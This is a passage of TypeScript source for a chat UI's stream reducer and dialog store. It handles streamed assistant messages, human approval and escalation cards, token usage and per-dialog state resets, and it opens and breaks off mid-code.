 const status = (approvalStatuses[event.offerId] || 'pending') as ChatApprovalStatus\n        const before = accumulator.getSegments().length\n        const segments = accumulator.addEscalationOffer(\n          event.offerId,\n          event.text,\n          event.origin,\n          status,\n        )\n        applyAccumulated(before, segments)\n        break\n      }\n\n      case 'escalation-offer-resolved': {\n        const { offerId, status, resolvedByName: offerResolvedBy } = event\n        // Approving hands the ticket to a human; Fae goes silent rather than\n        // resuming, so — unlike an approved command — there is no work to\n        // signal and the busy lock stays untouched.\n        accumulator.updateApprovalStatus(offerId, status, offerResolvedBy)\n        setMessagesInternal(\n          projectApprovalResolutionToMessages(messages, offerId, status, offerResolvedBy),\n        )\n        mirrorApprovalStatus(offerId, status)\n        emit('onEscalationOfferResolved', offerId, status, offerResolvedBy)\n        break\n      }\n\n      case 'ticket-escalated': {\n        // Same `applyAccumulated` routing as the offer, and for the same\n        // reason: the inactivity auto-escalation fires from a scheduler with\n        // no turn open at all, so this block routinely arrives with no\n        // preceding MESSAGE_START.\n        const before = accumulator.getSegments().length\n        const segments = accumulator.addTicketEscalated({\n          ticketId: event.ticketId,\n          ticketNumber: event.ticketNumber,\n          reason: event.reason,\n          text: event.text,\n        })\n        applyAccumulated(before, segments)\n        break\n      }\n\n      case 'ticket-event': {\n        // Standalone chunk outside MESSAGE_START/END — same routing as\n        // `ticket-escalated`. `seq` rides onto the segment: it is the event's\n        // dedupe identity (see `addTicketEvent`).\n        const before = accumulator.getSegments().length\n        const data = {\n          kind: event.kind,\n          actorId: event.actorId,\n          actorName: event.actorName,\n          actorType: event.actorType,\n          reason: event.reason,\n          targetStatusKind: event.targetStatusKind,\n        }\n        // The chunk carries no event time, so stamp arrival — for a genuinely\n        // live event that IS the event time. Without it the card falls back to\n        // the enclosing bubble's timestamp: the turn's FIRST row, minutes\n        // stale by the time a resolve/reopen lands. A catch-up redelivery of\n        // an already-hydrated event does NOT regress to arrival time —\n        // `addTicketEvent` keeps the first-known `occurredAt` on upsert.\n        const segments = accumulator.addTicketEvent(data, seq, new Date())\n        applyAccumulated(before, segments)\n        // The card alone is not enough for a host that also tracks the\n        // ticket's state: a RESOLVED/REOPENED arriving live must move the\n        // composer lock/status chip on the same render as the card, not on\n        // the next status poll. Hosts that don't wire it lose nothing.\n        emit('onTicketEvent', data)\n        break\n      }\n\n      case 'error': {\n        let message: string | undefined\n        if (event.details) {\n          try {\n            message = JSON.parse(event.details)?.error?.message\n          } catch {\n            message = event.details\n          }\n        }\n        const before = accumulator.getSegments().length\n        const segments = accumulator.addError(event.title, message)\n        applyAccumulated(before, segments)\n        emit('onError', event.title, message)\n        // Terminal turn failures can arrive without a MESSAGE_END; unlock\n        // the composer unless an open stream still owns the phase.\n        if (streamingPhase !== 'streaming') setPhaseInternal('idle')\n        break\n      }\n\n      case 'participant': {\n        if (event.kind === 'message-request') {\n          emit('onUserMessage', event.text, {\n            ownerType: event.ownerType,\n            displayName: event.displayName,\n            userId: event.userId,\n            streamSeq: seq,\n            contextItems: event.contextItems,\n          })\n          applyUserMessageToState(event)\n        } else if (event.kind === 'direct-message') {\n          emit('onDirectMessage', event.text, {\n            ownerType: event.ownerType,\n            displayName: event.displayName,\n            userId: event.userId,\n            streamSeq: seq,\n          })\n          applyDirectMessageToState(event)\n        } else {\n          emit('onSystemMessage', event.text, { streamSeq: seq })\n          applySystemMessageToState(event)\n        }\n        break\n      }\n\n      case 'token-usage': {\n        const data = {\n          inputTokensSize: event.inputTokensSize,\n          outputTokensSize: event.outputTokensSize,\n          totalTokensSize: event.totalTokensSize,\n          contextSize: event.contextSize,\n        }\n        emit('onTokenUsage', data)\n        dialogTokenUsage = data\n        invalidate()\n        break\n      }\n\n      case 'compaction': {\n        const standalone = !isInStream\n        const segments =\n          event.phase === 'start'\n            ? accumulator.addContextCompaction()\n            : accumulator.completeContextCompaction(event.summary)\n        const meta = standalone ? ({ append: true, isCompacting: true } as const) : undefined\n        emitSegments(segments, meta)\n        applySegmentsToState(segments, withSeqMeta(meta))\n        break\n      }\n\n      case 'dialog-closed': {\n        emit('onDialogClosed')\n        break\n      }\n\n      default:\n        // Unknown / SSE-only event on the NATS kernel — ignore.\n        break\n    }\n  }\n\n  // ===========================================================================\n  // SSE kernel — the absorbed useChat merge + decision_resolved receipt path\n  // ===========================================================================\n\n  /** Replace the trailing text segment of the LAST assistant message with\n   *  the cumulative turn text (or push one). Mirrors `useChat`'s\n   *  currentTextSegment handling byte-for-byte. */\n  function sseWriteTrailingText(text: string): void {\n    const last = messages[messages.length - 1]\n    if (!last || last.role !== 'assistant') return\n    const segments = [...(last.segments ?? [])]\n    const tail = segments[segments.length - 1]\n    if (tail && tail.type === 'text') {\n      segments[segments.length - 1] = { type: 'text', text }\n    } else {\n      segments.push({ type: 'text', text })\n    }\n    setMessagesInternal([...messages.slice(0, -1), { ...last, segments }])\n  }\n\n  function sseAppendText(text: string): void {\n    sseCurrentText += text\n    sseWriteTrailingText(sseCurrentText)\n  }\n\n  /** Single thinking segment per message, ALWAYS before the answer text:\n   *  replaced in place when present, inserted at the FRONT otherwise. */\n  function sseAppendThinking(escapedDelta: string): void {\n    const last = messages[messages.length - 1]\n    if (!last || last.role !== 'assistant') return\n    const segments = [...(last.segments ?? [])]\n    const idx = segments.findIndex((s) => s.type === 'thinking')\n    if (idx !== -1) {\n      const existing = segments[idx] as { type: 'thinking'; text: string }\n      segments[idx] = { type: 'thinking', text: existing.text + escapedDelta }\n    } else {\n      segments.unshift({ type: 'thinking', text: escapedDelta })\n    }\n    setMessagesInternal([...messages.slice(0, -1), { ...last, segments }])\n  }\n\n  function mergeTurnMeta(sendIdx: number, partial: Partial<ChatTurnMeta>): void {\n    const prev = metaMap.get(sendIdx) ?? createEmptyTurnMeta()\n    const filtered = Object.fromEntries(\n      Object.entries(partial).filter(([, v]) => v !== undefined && v !== null),\n    ) as Partial<ChatTurnMeta>\n    metaMap.set(sendIdx, { ...prev, ...filtered })\n    invalidate()\n  }\n\n  function applySseApprovalResolved(event: ApprovalResolvedEvent): void {\n    const proposalId = event.requestId\n    if (!proposalId) return\n\n    // Step 1 — flip the SOURCE card's status (the approval card lives in an\n    // EARLIER assistant message than the one being streamed into).\n    setMessagesInternal(\n      projectApprovalResolutionToMessages(messages, proposalId, event.status),\n    )\n\n    // Step 2 — server-rendered receipt into the CURRENT message. No\n    // server-provided copy → don't fabricate a fallback. The receipt's\n    // `[card://…]` marker hydrates via the card fetch path on its own —\n    // no ref stamping needed.\n    const receipt = typeof event.receiptText === 'string' ? event.receiptText : null\n    if (receipt === null) return\n    sseCurrentText = receipt + '\\n\\n'\n    sseWriteTrailingText(sseCurrentText)\n  }\n\n  function applySseMetadata(event: ChatMetadataEvent, sendIdx: number): void {\n    if (event.routing) {\n      mergeTurnMeta(sendIdx, {\n        routedComplexity: event.routing.routedComplexity,\n        routedThinkingBudget: event.routing.routedThinkingBudget,\n      })\n      return\n    }\n    if (event.sources) {\n      sourcesMap.set(sendIdx, event.sources as unknown[])\n      invalidate()\n    }\n    if (event.modelLabel || event.contextWindowMaxTokens || event.provider || event.modelName) {\n      mergeTurnMeta(sendIdx, {\n        provider: event.provider ?? null,\n        modelLabel: event.modelLabel ?? null,\n        contextWindowMaxTokens: event.contextWindowMaxTokens ?? null,\n      })\n    }\n    const parsedAnchor = parseScrollAnchor(event.scrollAnchor)\n    if (parsedAnchor !== null) {\n      mergeTurnMeta(sendIdx, { scrollAnchor: parsedAnchor })\n    }\n  }\n\n  function applySseUsage(event: UsageEvent, sendIdx: number): void {\n    if (event.stage === 'start') {\n      mergeTurnMeta(sendIdx, { inputTokens: event.input_tokens ?? null })\n      return\n    }\n    // stage === 'end' — the trailing usage frame. Raw wire values pass the\n    // legacy truthiness/typeof gates so a malformed frame degrades\n    // identically to the pre-SSOT parser.\n    const rawBreakdown = event.breakdown as Record<string, any> | null | undefined\n    const breakdown: UnifiedUsageBreakdown | null =\n      rawBreakdown && typeof rawBreakdown === 'object'\n        ? {\n            haikuRewriter:\n              rawBreakdown.haikuRewriter && typeof rawBreakdown.haikuRewriter.input === 'number'\n                ? rawBreakdown.haikuRewriter\n                : undefined,\n            haikuClassifier:\n              rawBreakdown.haikuClassifier && typeof rawBreakdown.haikuClassifier.input === 'number'\n                ? rawBreakdown.haikuClassifier\n                : undefined,\n            haikuSummarizer:\n              rawBreakdown.haikuSummarizer && typeof rawBreakdown.haikuSummarizer.input === 'number'\n                ? rawBreakdown.haikuSummarizer\n                : undefined,\n            routedAnswer:\n              rawBreakdown.routedAnswer && typeof rawBreakdown.routedAnswer.model === 'string'\n                ? rawBreakdown.routedAnswer\n                : undefined,\n          }\n        : null\n    mergeTurnMeta(sendIdx, {\n      inputTokens: event.input_tokens ?? null,\n      outputTokens: event.output_tokens ?? null,\n      cacheHitRatePct: typeof event.hit_rate_pct === 'number' ? event.hit_rate_pct : null,\n      ...(breakdown ? { breakdown } : {}),\n    })\n  }\n\n  function applySse(event: ChatStreamEvent): void {\n    const sendIdx = sendCount - 1\n    switch (event.type) {\n      case 'status':\n        setPhaseInternal('thinking')\n        break\n      case 'thinking-delta':\n        sseAppendThinking(escapeThinkingTags(event.text))\n        break\n      case 'turn-start':\n        setPhaseInternal('streaming')\n        break\n      case 'text-delta':\n        if (!event.leading) setPhaseInternal('streaming')\n        sseAppendText(event.text)\n        break\n      case 'error':\n        // Legacy parity: SSE tool errors surface as answer text.\n        sseAppendText(`⚠️ ${event.title}`)\n        break\n      case 'approval-request': {\n        // Flush any accumulated preamble text so the card lands after it.\n        if (sseCurrentText) {\n          sseWriteTrailingText(sseCurrentText)\n          sseCurrentText = ''\n        }\n        const segment: ApprovalRequestSegment = {\n          type: 'approval_request',\n          data: {\n            command: event.command ?? '',\n            fields: event.fields,\n            requestId: event.requestId,\n            approvalType: event.approvalType,\n          },\n          status: 'pending',\n          onApprove: callbacks.onApprove,\n          onReject: callbacks.onReject,\n        }\n        const last = messages[messages.length - 1]\n        if (!last || last.role !== 'assistant') break\n        // ── WIRE-NATIVE BATCH ─────────────────────────────────────────\n        // The SERVER groups a multi-proposal turn into ONE\n        // `approval_batch` frame (decoded to `event.toolCalls`) — the\n        // client performs NO adjacency heuristics. Render the bulk-\n        // approval component: one Approve/Reject resolving every row\n        // sequentially through its own per-proposal confirm; per-row\n        // execution icons ticked by each `approval-resolved` event\n        // (see `projectApprovalResolutionToMessages`). Single-proposal\n        // turns keep the classic editable per-card flow below.\n        if (event.toolCalls && event.toolCalls.length > 0) {\n          const rows = event.toolCalls\n          const anchorId = event.requestId\n          const ids = rows.map((c) => c.toolExecutionRequestId)\n          const batchSegment: ApprovalBatchSegment = {\n            type: 'approval_batch',\n            status: 'pending',\n            data: {\n              approvalRequestId: anchorId,\n              approvalType: event.approvalType ?? 'chat',\n              toolCalls: rows,\n              executions: {},\n            },\n            // Optimistic status flip so the per-row loaders show while\n            // the sequential per-proposal confirms run (the anchor id is\n            // NEVER a row id — see ApprovalBatchFrame.batchId — so the\n            // flip cannot pre-tick a row's execution). A confirm that\n            // reports failure (`false` — expired proposal, network\n            // error) ticks THAT row's cross so no loader spins forever;\n            // remaining rows still get their attempt.\n            ...(() => {\n              const resolveBatch =\n                (status: 'approved' | 'rejected', confirm: typeof callbacks.onApprove) =>\n                async () => {\n                  // STATUS-ONLY projection (defense-in-depth): even a\n                  // batchId colliding with a row id cannot pre-tick an\n                  // execution here — rows resolve exclusively via their\n                  // own confirm results / approval-resolved events.\n                  setMessagesInternal(projectBatchStatusToMessages(messages, anchorId, status))\n                  for (const id of ids) {\n                    const ok = await confirm?.(id)\n                    if (ok === false) {\n                      setMessagesInternal(projectBatchRowFailureToMessages(messages, id))\n                    }\n                  }\n                }\n              return {\n                onApprove: resolveBatch('approved', callbacks.onApprove),\n                onReject: resolveBatch('rejected', callbacks.onReject),\n              }\n            })(),\n          }\n          setMessagesInternal([\n            ...messages.slice(0, -1),\n            { ...last, segments: [...(last.segments ?? []), batchSegment] },\n          ])\n          break\n        }\n        setMessagesInternal([\n          ...messages.slice(0, -1),\n          { ...last, segments: [...(last.segments ?? []), segment] },\n        ])\n        break\n      }\n      case 'approval-resolved':\n        applySseApprovalResolved(event)\n        break\n      case 'metadata':\n        applySseMetadata(event, sendIdx)\n        break\n      case 'usage':\n        applySseUsage(event, sendIdx)\n        break\n      // NOTE: 'tool-execution' is intentionally NOT handled on the SSE\n      // kernel — the SSE wire never carries it, and routing it through the\n      // accumulator would invoke resolvePendingApprovalForExecution, which\n      // is a NATS-only semantic (observer streams without APPROVAL_RESULT).\n      default:\n        break\n    }\n  }\n\n  // ===========================================================================\n  // Public surface\n  // ===========================================================================\n\n  function apply(event: ChatStreamEvent): void {\n    // seq-based idempotency: drop redelivered / out-of-order events.\n    if (typeof event.seq === 'number') {\n      if (event.seq <= lastAppliedSeq) return\n      lastAppliedSeq = event.seq\n    }\n    if (transport === 'sse') applySse(event)\n    else applyNats(event)\n  }\n\n  function reset(): void {\n    messages = []\n    streamingPhase = 'idle'\n    dialogTokenUsage = null\n    liveModel = null\n    guideConversationId = null\n    approvalStatuses = {}\n    accumulator.reset()\n    pendingEscalated.clear()\n    isInStream = false\n    hasEverStreamed = false\n    sawDirectMessage = false\n    directTeardownFired = false\n    lastAppliedSeq = Number.NEGATIVE_INFINITY\n    pendingEchoTexts = []\n    turnStartedAt = 0\n    adoptTrailingAssistant = false\n    metaMap.clear()\n    sourcesMap.clear()\n    sendCount = 0\n    sseCurrentText = ''\n    invalidate()\n  }\n\n  /**\n   * Per-dialog reset. EVERYTHING scoped to one dialog is dropped; the two\n   * deliberate survivors are called out below, because \"the full reset minus\n   * an explicit, argued list\" is the only form of this function that does not\n   * rot — a field added to `reset()` and forgotten here is a cross-dialog leak,\n   * and that is exactly how `sseCurrentText` came to bleed (see the SSE block).\n   *\n   * SURVIVOR 1 — `approvalStatuses`: request ids are globally unique, and a\n   * resolved approval must not re-render as actionable when its\n   * APPROVAL_RESULT row is missing from the refetched history page.\n   *\n   * SURVIVOR 2 — `suppressAgentBusy`: NOT dialog state, but a refcount for an\n   * IN-FLIGHT operation, owned by the caller's `+1` / `-1` pairing around a\n   * catchup window. Zeroing it here would break that pairing in exactly the\n   * race the suppression exists for: on an A → B → A re-entry, A's first\n   * catchup can still be replaying its dead tail (`EXECUTING_TOOL` chunks whose\n   * releasing `MESSAGE_END` never replays) when the switch back resets, so\n   * clearing the count would let that replay lock the composer — the bug\n   * `adjustAgentBusySuppression` was introduced to prevent. The pairing is\n   * already safe across a switch (`Math.max(0, …)` absorbs an over-decrement\n   * and each `finally` is scoped to its own captured dialogId), so leaving the\n   * count alone is both correct and sufficient. Pinned by the\n   * \"agent-busy suppression survives a dialog switch\" test.\n   */\n  function resetForDialogSwitch(): void {\n    messages = []\n    streamingPhase = 'idle'\n    dialogTokenUsage = null\n    liveModel = null\n    guideConversationId = null\n    accumulator.reset()\n    pendingEscalated.clear()\n    isInStream = false\n    hasEverStreamed = false\n    sawDirectMessage = false\n    directTeardownFired = false\n    lastAppliedSeq = Number.NEGATIVE_INFINITY\n    pendingEchoTexts = []\n    turnStartedAt = 0\n    adoptTrailingAssistant = false\n    // SSE per-turn kernel. `sseCurrentText` is the CUMULATIVE answer text of\n    // the turn being streamed, and `sseAppendText` only ever appends to it —\n    // so leaving it behind prepends the previous dialog's whole answer to the\n    // next `text-delta` that lands without an intervening `beginSseSend`\n    // (the resumed-mid-turn shape: restore history, then live deltas flow).\n    // The per-send maps are keyed by `sendCount`, which is likewise per-dialog;\n    // a host that needs them restored has `seedSseMaps`.\n    sseCurrentText = ''\n    metaMap.clear()\n    sourcesMap.clear()\n    sendCount = 0\n    invalidate()\n  }\n\n  /** Canonical state-monotonic merge of a persisted / parked status map.\n   *  \"resolved beats pending\" in BOTH directions — see the interface doc on\n   *  `mergeApprovalStatuses`, which is this function. */\n  function mergeApprovalStatusesInternal(\n    persisted: Record<string, ChatApprovalStatus>,\n  ): void {\n    const keys = Object.keys(persisted)\n    if (keys.length === 0) return\n    let next: Record<string, ChatApprovalStatus> | null = null\n    for (const key of keys) {\n      const mine = approvalStatuses[key]\n      const theirs = persisted[key]\n      // Unknown here → adopt. Known → adopt only to upgrade pending →\n      // resolved; never downgrade a resolution back to pending.\n      const adopt = mine === undefined || (mine === 'pending' && theirs !== 'pending')\n      if (!adopt || mine === theirs) continue\n      next ??= { ...approvalStatuses }\n      next[key] = theirs\n    }\n    if (next === null) return\n    approvalStatuses = next\n    invalidate()\n  }\n\n  function initializeWithState(\n    nextMessages: UnifiedChatMessage[] | null,\n    extras?: InitializeExtras,\n  ): void {\n    if (nextMessages !== null) {\n      messages = nextMessages\n    }\n    if (extras) {\n      accumulator.initializeWithState({\n        existingSegments: extras.existingSegments,\n        pendingApprovals: extras.pendingApprovals,\n        executingTools: extras.executingTools,\n      })\n      if (extras.escalatedApprovals) {\n        for (const [requestId, data] of extras.escalatedApprovals) {\n          pendingEscalated.set(requestId, data)\n          emit('onEscalatedApproval', requestId, data)\n        }\n      }\n      // Parked state from a previous instance of this key (see the fields'\n      // docs). Both are restore-only: statuses merge monotonically, the seq\n      // gate only moves forward.\n      if (extras.approvalStatuses) mergeApprovalStatusesInternal(extras.approvalStatuses)\n      if (typeof extras.lastAppliedSeq === 'number' && extras.lastAppliedSeq > lastAppliedSeq) {\n        lastAppliedSeq = extras.lastAppliedSeq\n      }\n      if (extras.pendingEchoes && extras.pendingEchoes.length > 0) {\n        const now = Date.now()\n        const restored = extras.pendingEchoes.filter(\n          (e) => now - e.at < OWN_ECHO_AUTHOR_TTL_MS,\n        )\n        if (restored.length > 0) {\n          pendingEchoTexts = [...pendingEchoTexts, ...restored.map((e) => ({ ...e }))]\n          if (pendingEchoTexts.length > MAX_PENDING_ECHOES) {\n            pendingEchoTexts = pendingEchoTexts.slice(-MAX_PENDING_ECHOES)\n          }\n        }\n      }\n    }\n    // Resumed dialog: a MESSAGE_START already fired server-side. Treat\n    // subsequent continuation chunks (after the next MESSAGE_END) as\n    // post-stream so they append into the existing bubble instead of\n    // replacing its content via the cold-start cumulative path.\n    //\n    // Gated on the restored thread being non-empty (overridable via\n    // `extras.resumed`): the eviction round trip calls this for EVERY dropped\n    // key, including one that never streamed and parked an empty thread.\n    // Claiming \"resumed\" there would send a later cold text-delta with no\n    // preceding `turn-start` down the append branch, so the first assistant\n    // bubble never spawns.\n    // Never DOWNGRADES an instance that already streamed — this only decides\n    // whether the restore itself counts as evidence of a prior stream.\n    hasEverStreamed = hasEverStreamed || (extras?.resumed ?? messages.length > 0)\n    // A tail the extractor judged agent-busy restores the activity indicator.\n    // Routed through `agentBusyState` so the restore obeys the SAME rule a live\n    // busy signal does — only 'idle' upgrades, an open stream keeps ownership.\n    if (extras?.agentBusy) agentBusyState()\n    invalidate()\n  }\n\n  return {\n    apply,\n    get state() {\n      return getState()\n    },\n    reset,\n    initializeWithState,\n\n    setMessages(next) {\n      messages = next\n      invalidate()\n    },\n    prependMessages(older) {\n      messages = [...older, ...messages]\n      invalidate()\n    },\n    pushOptimisticSend(text, hidden = false) {\n      // Record the text so the backend's MESSAGE_REQUEST echo consumes this\n      // send instead of rendering a duplicate row (cap keeps the list from\n      // growing if a backend never echoes).\n      pendingEchoTexts.push({ text, at: Date.now() })\n      if (pendingEchoTexts.length > MAX_PENDING_ECHOES) pendingEchoTexts.shift()\n      messages = [\n        ...messages,\n        // An EMPTY-text send is out-of-band metadata (an approval decision),\n        // not something the user said — see `beginSseSend` for the full\n        // rationale. Never materialize a row for it.\n        ...(text.length > 0\n          ? ([\n              {\n                id: nextId('user'),\n                role: 'user' as const,\n                content: text,\n                ...(hidden ? { hidden: true } : {}),\n              },\n            ] satisfies UnifiedChatMessage[])\n          : []),\n        { id: nextId('assistant'), role: 'assistant', content: '', segments: [] },\n      ]\n      streamingPhase = 'thinking'\n      invalidate()\n    },\n    clearThread() {\n      messages = []\n      accumulator.reset()\n      streamingPhase = 'idle'\n      invalidate()\n    },\n    resetForDialogSwitch,\n\n    beginSseSend({ text, hidden, userName = 'You', assistantName, assistantAvatar }) {\n      const now = Date.now()\n      messages = [\n        ...messages,\n        // Approve / Reject send `('', { hidden: true, approvalAction })`: the\n        // decision is OUT-OF-BAND metadata (it rides `proposal_id`/`action` in\n        // the request body), not a user utterance. The history builder already\n        // filters `!m.hidden`, so such a row contributes NOTHING to the wire —\n        // it is dead state whose only effect is a render hazard (an author\n        // label with no body). So we never mint it. Hidden sends that DO carry\n        // text (e.g. an auto-continuation directive) still become real state:\n        // the LLM must see them, `Message.hidden` keeps them off screen.\n        ...(text.length > 0\n          ? ([\n              {\n                id: `user-${now}`,\n                role: 'user' as const,\n                name: userName,\n                content: text,\n                timestamp: new Date(now),\n                ...(hidden ? { hidden: true } : {}),\n              },\n            ] satisfies UnifiedChatMessage[])\n          : []),\n        {\n          id: `assistant-${now}`,\n          role: 'assistant',\n          name: assistantName,\n          content: '',\n          segments: [],\n          timestamp: new Date(now),\n          ...(assistantAvatar !== undefined ? { avatar: assistantAvatar } : {}),\n        },\n      ]\n      sendCount += 1\n      sseCurrentText = ''\n      streamingPhase = 'thinking'\n      invalidate()\n    },\n    endSseTurn() {\n      // Reject-path on confirm-tool emits ONLY a `decision_resolved` leading\n      // frame and closes — no text segments stream in, so the placeholder\n      // assistant message would render as a blank bubble. Remove the\n      // trailing assistant message if it still has no content.\n      const last = messages[messages.length - 1]\n      if (\n        last &&\n        last.role === 'assistant' &&\n        (last.segments?.length ?? 0) === 0 &&\n        last.content === ''\n      ) {\n        messages = messages.slice(0, -1)\n      }\n      sseCurrentText = ''\n      streamingPhase = 'idle'\n      invalidate()\n    },\n    failSseTurn(errorMessage) {\n      // Legacy `useChat` catch parity: the trailing (placeholder) message is\n      // replaced by an error-role row.\n      messages = [\n        ...messages.slice(0, -1),\n        {\n          id: `error-${Date.now()}`,\n          role: 'error',\n          content: errorMessage,\n          timestamp: new Date(),\n        } as unknown as UnifiedChatMessage,\n      ]\n      sseCurrentText = ''\n      streamingPhase = 'idle'\n      invalidate()\n    },\n    seedSseMaps({ sources, sendCount: seedSendCount }) {\n      if (sources) for (const [k, v] of sources) sourcesMap.set(k, v)\n      if (typeof seedSendCount === 'number') sendCount = seedSendCount\n      invalidate()\n    },\n\n    setPhase(phase) {\n      setPhaseInternal(phase)\n    },\n    setApprovalStatus(requestId, status) {\n      if (status === null) {\n        if (!(requestId in approvalStatuses)) return\n        const next = { ...approvalStatuses }\n        delete next[requestId]\n        approvalStatuses = next\n      } else {\n        if (approvalStatuses[requestId] === status) return\n        approvalStatuses = { ...approvalStatuses, [requestId]: status }\n      }\n      invalidate()\n    },\n    mergeApprovalStatuses: mergeApprovalStatusesInternal,\n    setDirectMode(isDirectMode) {\n      directModeFlag = isDirectMode\n    },\n    setDialogTokenUsage(usage) {\n      dialogTokenUsage = usage\n      invalidate()\n    },\n    adjustAgentBusySuppression(delta) {\n      suppressAgentBusy = Math.max(0, suppressAgentBusy + delta)\n    },\n    armAdoptTrailingAssistant(value) {\n      adoptTrailingAssistant = value\n    },\n\n    projectApprovalResolution(requestId, status, resolvedByName) {\n      setMessagesInternal(\n        projectApprovalResolutionToMessages(messages, requestId, status, resolvedByName),\n      )\n      mirrorApprovalStatus(requestId, status)\n    },\n    projectToolExecution(segment) {\n      // Merge-only: a projection must never grow a card on a side the tool\n      // doesn't belong to, and must never re-enter the seq stream.\n      const merged = mergeToolExecutionIfPresent(messages, segment)\n      if (merged !== null) setMessagesInternal(merged)\n    },\n\n    getLastAppliedSeq() {\n      return lastAppliedSeq\n    },\n    getPendingEchoes() {\n      // SNAPSHOT, not the live array: `pushOptimisticSend` pushes into and\n      // `consumeOwnEcho` splices the same object, so handing it out would make\n      // the `readonly` return type a lie and let a parked copy mutate under\n      // its holder.\n      return pendingEchoTexts.slice()\n    },\n    getSegments() {\n      return accumulator.getSegments()\n    },\n    updateApprovalStatus(requestId, status, resolvedByName) {\n      const segments = accumulator.updateApprovalStatus(requestId, status, resolvedByName)\n      setMessagesInternal(\n        projectApprovalResolutionToMessages(messages, requestId, status, resolvedByName),\n      )\n      // Status-map mirror — kept in lockstep with the other two flip\n      // paths (SSE approval-resolved at ~1240, NATS at ~1950): the map\n      // restores status when a replayed approval-request event\n      // re-renders the card, and a flip applied through THIS path must\n      // survive that replay the same way.\n      mirrorApprovalStatus(requestId, status)\n      return segments\n    },\n    getPendingEscalated() {\n      return new Map(pendingEscalated)\n    },\n  }\n}\n","/**\n * createChatDialogStore — framework-free registry of `ChatStreamReducer`\n * instances keyed by `(dialogId, side)`. Reducer state PERSISTS across\n * component unmounts (the store outlives React), and the store is the\n * `useSyncExternalStore` source for the `useChatStreamReducer` wrapper.\n *\n * CROSS-SIDE PROJECTION: exactly two operations fan out across sides of the\n * same dialogId —\n *   1. approval RESOLUTION by requestId (`approval-resolved` events), and\n *   2. tool-execution MERGE by execId (`tool-execution` events)\n * — implemented as idempotent pure projections over the other side's state\n * (recomputed from state, never re-injected into the other side's seq\n * stream; per-side seq gates stay untouched). Everything else — text,\n * thinking, participant rows — is strictly per-side.\n *\n * LIFECYCLE / MEMORY: the reducer map is LRU-capped (`maxReducers`, default\n * `DEFAULT_MAX_REDUCERS`) and evicted through the same path as `remove()`.\n * Without a cap an agent cycling hundreds of dialogs would retain a reducer\n * (thread + accumulator) per dialog for the process's lifetime; under SSR,\n * where the store is module-scoped, that growth is shared across every\n * request. `getSnapshot` is PURE — it never creates an entry — and\n * `getServerSnapshot` always returns the shared frozen `EMPTY_STATE`.\n *\n * EVICTION SAFETY (LRU recency alone is NOT liveness):\n *   1. RETAINED keys are never evicted. `retain(dialogId, side)` returns a\n *      release fn; the `useChatStreamReducer` hook calls it for as long as it\n *      is mounted, so a quiet-but-visible panel can't be dropped just because\n *      ten other keys were touched. NON-React hosts must call it too.\n *      Because the hook retains in an EFFECT but takes its reducer during\n *      RENDER, a key created by a public `getReducer` is protected from\n *      creation until its FIRST `retain()` (bounded by\n *      `MAX_PENDING_RETAIN_KEYS`) — see `pendingRetain`.\n *   2. A reducer whose `streamingPhase !== 'idle'` is never evicted — dropping\n *      mid-turn would recreate an EMPTY reducer on the next `getReducer`\n *      while the host's seq cursor still says \"caught up\", i.e. the thread\n *      visually vanishes with no path back.\n *   3. Eviction hands the host the dropped instance's PARKED state\n *      (`onEvict(..., { messages, approvalStatuses, lastAppliedSeq,\n *      pendingEchoes })`). A recreated reducer is pristine, so re-seeding\n *      messages alone would\n *      resurrect resolved approvals as actionable and reset the seq gate to\n *      `-Infinity`; the parked payload is what makes the round-trip lossless.\n *   4. Eviction NEVER notifies synchronously. `getReducer` is called during\n *      render (by the hook), and notifying there means updating other\n *      components mid-render. The notify is deferred to a microtask.\n */\n\nimport {\n  createChatStreamReducer,\n  type ChatReducerState,\n  type ChatStreamReducer,\n  type ChatStreamReducerOptions,\n  type PendingEcho,\n} from './chat-stream-reducer'\nimport type { ChatStreamEvent } from '../../../chat-protocol/events'\n\nexport type ChatDialogSide = string\n\n/** Factory for a key's reducer options, consulted ONCE at creation. A plain\n *  `() => options` thunk remains assignable. */\nexport type CreateReducerOptionsFn = (\n  dialogId: string,\n  side: ChatDialogSide,\n) => ChatStreamReducerOptions\n\nexport interface ChatDialogStore {\n  /** Create-or-get the reducer for `(dialogId, side)`. `createOptions` is\n   *  consulted ONLY when the instance is first created. */\n  getReducer(\n    dialogId: string,\n    side?: ChatDialogSide,\n    createOptions?: CreateReducerOptionsFn,\n  ): ChatStreamReducer\n  /** Apply one event to a side, then fan out the cross-side projections to\n   *  the other sides of the same dialog. */\n  apply(dialogId: string, side: ChatDialogSide, event: ChatStreamEvent): void\n  /** Run adapter commands against a reducer; subscribers are notified. */\n  mutate<T>(dialogId: string, side: ChatDialogSide, fn: (reducer: ChatStreamReducer) => T): T\n  subscribe(listener: () => void): () => void\n  /**\n   * Referentially-stable snapshot for `useSyncExternalStore`. PURE — an\n   * unknown key returns the shared frozen `EMPTY_STATE` rather than\n   * creating a reducer (a create-on-read would let SSR renders accumulate\n   * reducers in a process-global map, and would make React's snapshot read\n   * a mutation).\n   */\n  getSnapshot(dialogId: string, side?: ChatDialogSide): ChatReducerState\n  /** `useSyncExternalStore`'s server getter — always `EMPTY_STATE`. There is\n   *  no per-request store on the server, so a live thread cannot be rendered\n   *  server-side; the client hydrates from the real reducer. */\n  getServerSnapshot(): ChatReducerState\n  /** Drop a side's reducer (or every side of the dialog when omitted). */\n  remove(dialogId: string, side?: ChatDialogSide): void\n  /**\n   * PIN `(dialogId, side)` against LRU eviction while a consumer is live.\n   * Returns the release fn (idempotent; refcounted, so nested retains are\n   * safe). Creation is NOT implied — retaining an absent key simply means the\n   * key is protected once it exists.\n   */\n  retain(dialogId: string, side?: ChatDialogSide): () => void\n  /**\n   * POLICY retain: keep exactly `keys` pinned by this store-level set and\n   * release every key the set previously pinned. Independent of the refcounted\n   * `retain()` handles a host's components hold — the two compose.\n   *\n   * Exists because \"retain this set, release the rest\" is generic store\n   * policy that every multi-panel host otherwise re-derives (diffing its own\n   * key list against a map of release fns). Retains BEFORE releasing, so a key\n   * present in both the old and the new set never momentarily drops to zero\n   * retains and becomes evictable mid-swap.\n   */\n  setRetained(keys: Array<{ dialogId: string; side?: ChatDialogSide }>): void\n}\n\nexport const DEFAULT_DIALOG_SIDE: ChatDialogSide = 'main'\n\n/** Most-recently-used reducer keys retained before eviction. Ten covers\n *  every realistic multi-panel / dialog-switching session while bounding an\n *  agent that cycles hundreds of dialogs. */\nexport const DEFAULT_MAX_REDUCERS = 10\n\n/**\n * Hard cap on keys held in the \"created by `getReducer`, `retain()` still\n * pending\" protection set — the ONLY thing bounding the map while retains are\n * outstanding, since that 